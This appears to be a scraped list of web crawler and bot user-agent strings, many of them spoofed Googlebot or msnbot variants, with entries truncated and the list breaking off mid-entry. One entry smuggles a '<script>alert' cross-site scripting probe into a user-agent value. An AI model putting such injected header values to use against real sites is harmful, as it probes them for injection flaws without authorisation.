Mozilla/5.0 (compatible; Googlebot/2.1; +http://... Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.15) Gecko/2009101601 Googlebot 2.1 (.NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 GoogleBot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Googlebot/2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1b3) Gecko/20090305 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1 (+http://www.googlebot.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1+(+http://www.google.com/bot.html Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2) Gecko/20100115 Googlebot/2.1 (+http://www.google.com/bot.html),gz... Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 googlebot Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 BTRS35926 Googlebot/2.1 (+http://www.google.com... Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.4) Gecko/20091016 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) Ameblo Spider/1.0 (http://ameblo.jp/noripee-jp/) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 A... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 ... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Googlebot/2.1 (+http://www.googlebot.com/bot.ht... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7; Googlebot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.10) Gecko/20100914 Select all Googlebot/2.X How Google crawls m... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot 2.1 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101012 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB7.1 slurp Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AlexaToolbar/alxf-1.54 Firefox/3.6.13 (.NET ... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729) slurp Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 slurp slurp Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 googlebot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1+(+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/20100713 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 “Googlebot 2.1“ Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot/2.X (http://www.googlebot.com/bot.h... Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-CL; rv:1.9.2.3) Gecko/20100401 http://www.google.com/bot.html Mozilla/5.0 (Windows; U; Windows NT 6.1; es-CL; rv:1.9.2.4) Gecko/20100611 Googlebot/2.1 (+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.0.19) Gecko/2010031422 Google Bot GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 AppEngine-Google; (+http://code.goo... Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTBDFff GTB7.0 (.NET CLR 3.5.30... Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 AppEngine-Google; (+http://code... Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:2.0b1) Gecko/20100630 Firefox/4.0b1 AppEngine-Google; (+http://code.g... Mozilla/5.0 (Windows; U; Windows NT 7.0; en-US; rv:2.0) Gecko/00000000 Firefox/9.0 Robot/3.0 Mozilla/5.0 (Windows; Z; Windows NT 5.1; tj; rv:1.9.1) Gecko/20090624 Firefox/3.0.7 AlphaBot/9.0 FirePHP/0.3 Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (Windows;) NimbleCrawler 1.13 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (Windows;) NimbleCrawler 1.14 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (Windows;) NimbleCrawler 1.15 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (Windows;) NimbleCrawler 2.0.1 Mozilla/5.0 (Windows;) NimbleCrawler 2.0.1 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (Windows;) NimbleCrawler 2.0.2 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com Mozilla/5.0 (X11; compatible; crawler@newstin.com; HTTPClient 3.1) Mozilla/5.0 (X11; U; FreeBSD i386; en-US) WebKit/4.5 Zeus/3.9.8 AppEngine-Google; (+http://code.google.com/appengine; ap... Mozilla/5.0 (X11; U; Linux i686 (x86_64); pl-PL; rv:1.9a3pre) Gecko/20070224 Firefox/3.0a3pre (Kubuntu-feisty) (Powered ... Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.1) Gecko/2008072820 Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.0) Gecko/20090623 KFSW/3.5.0-6.1 thumbshots-de-bot/3.5.0.0.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.0) Gecko/20090623 KFSW/3.5.0-6.1 thumbshots-de-bot/3.5.0.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.1 ThumbShots-de-bot Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.4 thumbshot-de-bot Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Googlebot/2.2 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.18) Gecko/20081030 Iceweasel/2.0.0.14 compatible; Googlebot/2.1; +http:... Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008061015 webwalkerbot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.1) Gecko/2008072820 webwalkerbot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) webwalkerbot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) webwalkerbot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.0); http://spinn3r.com/robot) Gecko/2002... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/2002... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank (Spinn3r 2.1); http://spinn3r.com/robot) Gecko/200... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank (Spinn3r 2.3); http://spinn3r.com/robot) Gecko/200... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank; http://tailrank.com/robot) Gecko/20021130 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Larbin/2.6.3 larbin@unspecified.mail Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12/Nutch-0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)/Nutch-1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Googlebot 2.1 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010033100 Robothumb/1.1 +http://www.robothumb.com Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Googlebot/2.1 (+http://www.... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot/2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Googlebot/2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090813 Everest/3.5.2-10 Firefox/3.5.2 AppEngine-Google; (+ht... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090913 Shiretoko/3.5.3 AppEngine-Google; (+http://code.googl... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5; aggregator:Spinn3r (Spinn3r 3.5 / Crawler); http://spinn3r.com/robot... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Kopytko/1.01 (:P) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Linux Mint/8 (Helena) <script>alert (do... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Googlebot/2.X How Google crawls... Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100723 Linux Mint/9 (Isadora) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 AppEngine-Google; ... Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.1.5) Gecko/20091123 Googlebot 2.1 (like Firefox/3.5.5; Debian-3.5.5-1) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.0.3) Gecko/2008101315 Ubuntu/8.10 (intrepid) Firefox/3.0.3 AppEngine-Goog... Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 AppEngine-Google... Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010062510 ThumbShotsBot (KFSW 3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010102809 ThumbShotsBot (KFSW 3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010120923 ThumbShotsBot (KFSW 3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080702 Googlebot/2.1 (+http://www.google.com/bot.html) (D... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071916 (Gentoo) Googlebot 2.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2009122200 SUSE/3.0.17-0.1.1 Googlebot/2.1 (+http://www.goo... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.19; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot/2.1 (+http://www.go... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032813 Googlebot/2.1 (+http://www.google.com/bot.html) (... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100217 Gentoo Mozilla/5.0 (compatible; Googlebot/2.1; +http:... Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 ARMO Googlebot Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1b2pre) Gecko/20081107 Mozilla/5.0 (compatible; Googlebot/2.1; +http://... Mozilla/5.0 (X11; U; Linux x86_64; ro; rv:1.9.0.19) Gecko/2010033022 Googlebot/2.1 (+http://www.googlebot.com/bot.html) ... Mozilla/5.0 (X11; U; Linux x86_64;en-US) Gigabot/2.0 ... Mozilla/5.0 (X11; U; Linux x86_64;en-US) Gigabot/2.0 ... Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8/Nutch-1.0 Mozilla/5.0 (Yahoo-Test/4.0 mailto:vertical-crawl-support@yahoo-inc.com) Mozilla/5.0 (Yahoo-Test/4.0 ysm-keystone-crawl-support@yahoo-inc.com) Mozilla/5.0 (Yahoo-Test/4.0; mailto:vertical-crawl-support@yahoo-inc.com) Mozilla/5.0 (Yahoo-Test/4.0; ysm-keystone-crawl-support@yahoo-inc.com) Mozilla/5.0 +( http://www.googlebot.com/bot.html) Mozilla/5.0 9compatible; Googlbot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 compatible (zermelo heritrix/1.12.1 +http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-sto... Mozilla/5.0 compatible WebaltBot/1.00 (i686-pc-linux) Mozilla/5.0 crawl@digigetx.com Mozilla/5.0 Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html) Mozilla/5.0 QunarBot/1.0 Mozilla/5.0 URL-Spider Mozilla/5.0(compatible, Googleboy/2.1; +http://www.google.com/bot.html) Mozilla/5.0(compatible; Googlebot/2.1 ; +http://www.google.com/bot.html Mozilla/5.0(compatible; googlebot/2.1 ; http://www.googlebot.com/bot.html) Mozilla/5.0(compatible; Googlebot/2.1; +(+http://google.com/bot.html) Mozilla/5.0(compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0(compatible; Googlebot/2.1; +http://www.googlebot.com/bot.html) Mozilla/5.0(compatible; Googlebot/2.1;+http://www.google.com/bot.html Mozilla/5.0(compatible; Googlebot/2.1;+www.google.com/bot.html) Mozilla/5.0(compatible;Gogglebot/2.1; +http://www.google.com/bot.html Mozilla/5.0(compatible;Googlebot/2,1;+http://www.google.com/bot.html) Mozilla/5.0(compatible;Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html) mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html). Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.jtml) Mozilla/5.0(Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 аки&am... Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html) Mozilla/5.0+(compatible;+OkidokiBot/0.1;++http://www.okidoki.ro/bot.html) Mozilla/5.0+(compatible;+PiplBot;+http://www.pipl.com/bot/) Mozilla/5.0+(compatible;+Zookabot/1.0+BETA;++http://www.zooka.dk/bot.aspx) Mozilla/5.0+(SnapPreviewBot)+Gecko/20061206+Firefox/1.5.0.9 Mozilla/5.0-virtual (compatible; scaredFox/0.5b; +http://crawlers.tdmsic.org/scaf_crawler.htm) Mozilla/5.0; Googlebot/2.1; +http://www.google.com/bot.htm) Mozilla/6.0 (compatible; Googlebot/2.5; +http://www.google.com/bot.html) Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; nnSearch Robot) Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; RSSMicro.com RSS/Atom Feed Robot) Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; RSSMicro.com RSS/Atom FeedRobot) UNTRUSTED/1.0 Mozilla/6.0 (Windows; U; Windows 3.1; en-US; Googlebot/2.1) AppleWebKit/999.7 (KHTML, like Gecko) Chrome/14.0.0.1 Safari... Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-1... Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-2... Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-3... Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://sjc0.t... Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://www.td... Mozilla/Nutch-1.0 Mozilla/Nutch-1.1 Mozilla19/Googledbot 2.1 Mp3Bot/0.1 (http://mp3realm.org/mp3bot/) MQbot http://metaquerier.cs.uiuc.edu/crawler MQBot/Nutch-0.8-dev (mqbot@cazoodle.com) MQBOT/Nutch-0.9-dev (MQBOT Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu) MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu) MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://vwbot.cs.uiuc.edu; mqbot@cs.uiuc.edu) Mr. Construction Email Seeker- Storefront Doors $595.00 ! \| StorefrontDoors.Net ms research robot MS Search MSIndianWebcrawl MSMOBOT MSMOBOT/1.1 (+http://search.msn.com/msnbot.htm) MSNAttackBot/2.0b (+http://search.msn.com/microsoftsucks.htm) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.8) Geck... msnbot Msnbot 1.0 (msnbot/1.0 (+http://search.msn.com/msnbot.htm) Msnbot 1.0 (msnbot/1.0 (+http://search.msn.com/msnbot.htm); MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727;... MSNBot Fake MSNBot-Academic msnbot-media/1.0 msnbot-media/1.0 (+http://search.msn.com/msnbot.htm) msnbot-media/1.1 (+http://search.msn.com/msnbot.htm) msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm) msnbot/0.01 (+http://search.msn.com/msnbot.htm) MSNBOT/0.1 (http://search.msn.com/msnbot.htm) msnbot/0.11 ( http://search.msn.com/msnbot.htm) msnbot/0.11 (+http://search.msn.com/msnbot.htm) msnbot/0.9 (+http://search.msn.com/msnbot.htm) msnbot/1.0 ( http://search.msn.com/msnbot.htm) msnbot/1.0 (+http://search.msn.com/msnbot.htm) msnbot/1.0 (+http://search.msn.com/msnbot.htm) FirePHP/0.4 msnbot/1.0+(+http://search.msn.com/msnbot.htm) msnbot/1.02 ( http://search.msn.com/msnbot.htm) msnbot/1.1 ( http://search.msn.com/msnbot.htm) msnbot/1.1 (+http://search.msn.com/msnbot.htm) msnbot/1.1 (+http://search.msn.com/msnbot.htm) AppEngine-Google; (+http://code.google.com/appengine; appid: spider-us) msnbot/1.1 (+http://search.msn.com/msnbot.htm) FirePHP/0.4 msnbot/1.1 (+http://search.msn.com/msnbot.htm) IQ msnbot/1.1 (+http://search.msn.com/msnbot.htm) SmartLinksAddon msnbot/1.1 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile... msnbot/1.1+(+http://search.msn.com/msnbot.htm) MSNBot/2.0 msnbot/2.0 (+http://search.msn.com/msnbot.htm) msnbot/2.0b msnbot/2.0b (+http://search.msn.com/msnbot.htm) msnbot/2.0b (+http://search.msn.com/msnbot.htm) Test msnbot/2.0b (+http://search.msn.com/msnbot.htm). msnbot/2.0b (+http://search.msn.com/msnbot.htm)._ msnbot/2.0b (+http://search.msn.com/msnbot.htm)/2 (+http://search.msn.com/msnbot.htm) msnbot/2.0b+(+http://search.msn.com/msnbot.htm) msnbot/2.1 MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default) MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)/1.1 (+http://search.msn.com/msnbot.htm) MSNPTC/1.0 MSNPTC/1.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) MSR-ISRCCrawler MSR-ISRCCrawler/Study of Soft 404 Responses msramlbot MSRBOT MSRBOT (http://research.microsoft.com/research/sv/msrbot) MSRBOT (http://research.microsoft.com/research/sv/msrbot/ MSRBOT (http://research.microsoft.com/research/sv/msrbot/) MugurdyScreengrabAgent multicrawler (+http://sw.deri.org/2006/04/multicrawler/robots.html) MULTIPRISE/Nutch-1.0 (Robot d'indexation; http://www.multiprise.biz; admin@multiprise.fr) MVAClient Mweb crawler (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6 My app 1.0 my Googlebot test JMF My Spider/Nutch-1.0 (My Bot; http://www.intersect.org.au; sridhar.reddapani@intersect.org.au) My WinHTTP Connection my-heritrix-crawler(+http://mywebsite.com) my-robot/0.2 my6sense/1.0 MyApp/0.1 libwww-perl/5.76 MyApp/0.1 libwww-perl/5.805 MyApp/0.1 libwww-perl/5.836 myBot mybot/Nutch-1.0 (mybot; http://mybot.com; mybot@mybot.com) MyCoupons Coupon Crawler 1.0 MyEngine_20 MyEngine_32 MyEngine_33 myfirsttest/Nutch-0.8.1 (myfirsttest; http://www.science.uva.nl/; xzhang1@science.uva.nl) mynutchcrawler/0.8.1 (nutch 0.8.1; http://localhost:8080; info at mysite dot com) Mysearch/Nutch-0.9 MySpaceScraper MYweb4net Nambu URL Destination Determinator +bot http://nambu.com NameOfAgent (CMS Spider) naoFavicon4IE V1.x Narrator/0.1.3.70 (compatible) filecache NASA Search 1.0 NATE.ROBOT (compatible; MSIE 5.01; Windows NT 5.0) NATE.ROBOT Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safa... NaverBot-1.0 (NHN Corp. / +82-31-784-1989 / nhnbot@naver.com) NaverBot/1.0 (http://help.naver.com/delete_main.asp) navigator.userAgent.toLowerCase();if(userAgent.match(/blackberry./)){userAgent='mozilla/5.0 (windows; u; windows nt 5.1... NAWSE - New Web Search Engine - Bot version ( 10.01.01 ) NAWSEX - New Adult Web Search Engine - Bot version ( 10.01.01 ) - http://www.nawsex.com/bot.html nb-bot Nelian Pty Ltd - Spider v2.1 ( http://pcaccessoriesparts.com ) Nelian Pty Ltd - Spider v2.1 ( http://www.pcaccessoriesparts.com ) Nelian Pty Ltd - Spider v3.1 ( http://www.pcaccessoriesparts.com ) Neo Lee/Nutch-0.9 (Nutch spiderman; http://lucene.apache.org/nutch/; MyEmail) nestReader/0.2 (discovery; http://echonest.com/reader.shtml; reader at echonest.com) Net-Seekr Bot/Net-Seekr Bot V1 (http://www.net-seekr.com) NetAnts/1.25 Netchart Adv Crawler 1.0 netEstate NE Crawler netEstate NE Crawler (+http://www.sengine.info/) NetFox NetID.com Bot 1.0 Netintelligence LiveAssessment - www.netintelligence.com Netluchs/Nutch-1.0 ( ; http://www.netluchs.de/; _do_not_spam_me___humans_please_use_info_at_netluchs.de_without_the_dash... Netluchs/Nutch-1.0-dev ( ; http://www.netluchs.de/; _do_not_spam_me___humans_please_use_info_at_netluchs.de_without_the_... NetResearchServer/4.0(loopimprovements.com/robot.html) netseer/0.1 (netseer crawler; http://www.netseer.com/crawler.html; crawler@netseer.com) NetSeer/Nutch-0.9 (NetSeer Crawler; http://www.netseer.com; crawler@netseer.com) NetSongBot/1.0 NetSprint -- 2.0 Netvibes Ajax (http://www.netvibes.com/) NetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com) network467 Infrastructure Firewall [UK High-Speed IP Gateway] NewsGator FetchLinks extension/0.2.0 (http://graemef.com) NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032) NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032) NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers) NewSpider newtelligence dasBlog/1.9.6264.0 NextGenSearchBot 1 (for information visit http://about.zoominfo.com/About/NextGenSearchBot.aspx) NextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot) NextGenSearchBot 1 (for information visit http://www.zoominfo.com/About/misc/NextGenSearchBot.aspx) NextGenSearchBot 1 (for information visit 